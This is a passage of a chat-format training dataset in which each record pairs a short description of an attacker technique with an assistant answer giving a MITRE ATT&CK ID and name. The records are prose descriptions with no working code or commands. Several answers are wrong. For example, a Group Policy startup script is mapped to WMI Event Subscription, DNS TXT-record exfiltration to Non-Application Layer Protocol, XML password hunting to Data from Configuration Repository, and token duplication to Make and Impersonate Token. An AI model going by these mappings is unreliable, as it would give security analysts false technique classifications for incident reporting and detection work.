                "content": "Attacker uses malicious JavaScript embedded in an Office document to download additional malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script performs a brute-force attack against SSH on multiple IP addresses to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious browser extension, the threat actor extracts the session cookie and forwards it to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary runs JavaScript on a compromised page to collect the user's browser user-agent string and list of installed extensions."
            },
            {
                "role": "assistant",
                "content": "T1217 - Browser Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies an existing legitimate service's binary path to point to a malicious executable, achieving code execution on service start."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan places a malicious executable in the startup folder with a request for elevated rights; the next system boot shows an elevation prompt that the user clicks \"Yes,\" granting the trojan admin access."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary creates a chain of internal proxies on multiple hosts, chaining them together to obfuscate the true source of malicious requests."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The operation included logging in with compromised domain credentials to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan harvests browser history and saved passwords stored on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor creates a local staging area on the victim's machine by copying files into a directory with restricted permissions to avoid user visibility."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads a malicious screensaver binary to the victim’s system and configures the Power Options to start it after a period of inactivity."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses PowerShell to download an obfuscated script into a temporary environment variable and runs it directly, leaving no trace on disk."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A fake HR announcement emailed from a spoofed internal address includes a credential‑stealing web form."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a compromised cloud API key to push exfiltrated files into the target’s own S3 bucket for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails target users with a link to a spoofed Snapchat login page, tricking them into entering their credentials."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors obtained a valid code signing certificate by bribing a certificate authority employee, then used it to legitimize their tools."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves hijacking a user's web session by stealing the session cookie from the browser's memory."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code changes the archive flag on its executable within an NTFS volume, attempting to avoid triggering backup or scan routines."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes stopping the DBus service on the target."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a compromised legitimate remote support tool to hijack an ongoing session and perform lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a technique where they open a target process, replace its .text section with custom code, and then resume the process so the new code runs under the guise of the original executable."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed the victim's Microsoft Teams chat logs to extract leaked passwords and authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command‑and‑control server requires all outbound data to be XOR‑obfuscated with a rotating key."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tampered with the system's firmware, inserting a malicious module that runs before the operating system starts, ensuring stealthy persistence."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious registry entries are added for odbcconf to execute a payload whenever ODBC settings are applied."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker configures iptables to listen for a specific port knock pattern (ports 1111→2222→3333) and, upon detection, opens port 4444 for remote access."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote code execution on a mail server is used to copy .pst files to an external location."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat group uses a custom loader that injects a DLL into explorer.exe to persist."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious BMP image is distributed through a file-sharing service; opening it in the default viewer launches a RAT."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension repeatedly crashes the rendering engine, leading to denial of service on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code installs a network interface driver to sniff all traffic on the victim's subnet."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a SQL injection flaw in a public-facing application to execute arbitrary commands on the backend database."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abuses the cloud provider's API to start a direct PowerShell remote session into a targeted Azure VM."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor modifies a legitimate compiler configuration to execute arbitrary commands during the build process."
            },
            {
                "role": "assistant",
                "content": "T1127 - Trusted Developer Utilities Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant extracts the SYSTEMTIME structure from the kernel to ascertain the host's time zone settings."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary replaces the legitimate email client binary with a malicious version that harvests credentials."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker utilized the container runtime's REST API to launch a privileged container that performed data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor executes 'systeminfo' and parses the output to obtain the system's date and time."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen session cookies to bypass authentication"
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a native command to list processes, aiming to find security tools running on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation module invokes 'pslist' with the '-s' flag to display system services and drivers."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code gathers system information such as OS version, hostname, and hardware details for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on the victim host intercepts cryptographic calls and injects a routine that truncates the RSA key size from 2048 bits to 512 bits before encryption, drastically reducing key entropy."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors took advantage of an outdated Apache Tomcat installation to upload a web shell, granting them remote access to the server."
            },
            {
                "role": "assistant",
                "content": "T1505 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The victim’s corporate site was altered to display a political protest banner after the attacker exploited a vulnerable plug‑in."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers perform automated searches on GitLab and Bitbucket to locate configuration files that reveal internal IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script is encoded into a Group Policy Startup script on a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code injects into a legitimate video processing application to record and send video of the user’s environment."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion disables the platform's hardware‑based key vault, preventing secure key generation and storage."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a technique that caps the amount of data sent per session to stay stealthy."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used a temporarily assigned Google Cloud IAM role to export data from BigQuery before the role was revoked."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employed a shell script to enumerate installed packages and their versions for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries duplicate an existing token using DuplicateTokenEx, modify its attributes, and leverage it to run processes as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses PowerShell to turn off event logging on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a misconfigured NTP server, the adversary issues monlist requests with the victim’s IP spoofed, causing the server to send large amounts of time data back to the target, overwhelming it."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses DNS queries to exfiltrate data, encoding information within TXT records."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor corrupts log files on the victim’s host by appending fabricated entries, making forensic analysis difficult."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant spoofs Windows Defender alerts, showing benign messages while disabling actual threat notifications."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reads the /etc/passwd and /etc/shadow files to harvest user credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During data exfiltration, the implant encodes the data using a custom 7‑bit packing scheme to bypass data loss prevention filters."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code hidden within macro-enabled documents"
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code modifies the sender field of outbound SMTP messages to impersonate the IT helpdesk, directing users to a credential‑harvesting site."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit leverages a scheduled data exfiltration routine that extracts system info and posts it to a webhook."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder changes the checksum of transmitted files to corrupt integrity checks."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, a custom DLL is placed in the %SystemRoot%\\System32\\spool\\drivers\\x64 directory and later loaded by the Terminal Services service."
            },
            {
                "role": "assistant",
                "content": "T1505.005 - Server Software Component: Terminal Services DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder escalates privileges by changing the file ACLs of a system service executable, then writes a malicious executable that the service runs."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes stolen browser cookies to a publicly shared text snippet on a web-based clipboard service."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary collects the contents of the system's temporary folder for potentially sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the $MFT to embed malicious data in a hidden file entry, making it invisible to typical file enumeration tools."
            },
            {
                "role": "assistant",
                "content": "T1564.005 - Hide Artifacts: Hidden File System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors register a fresh Azure AD tenant and configure it for malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary drops a malicious .service file into /etc/systemd/system and enables it to achieve persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT leverages a local hidden directory to stage large amounts of data before exfiltrating via encrypted channels."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT32 detected a suspicious rundll32.exe process loading a DLL from an unusual path to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor executed a network scan that included SNMP enumeration, pulling configuration data via MIB dumps."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the threat actor used a built‑in command to format the C: drive, causing total data loss."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware creates a staging directory named 'TempData' and copies all user documents into it."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reads configuration XML files to find embedded admin passwords."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary queries the system's BIOS via low‑level SMBIOS calls to extract firmware version and serial numbers."
            },
            {
                "role": "assistant",
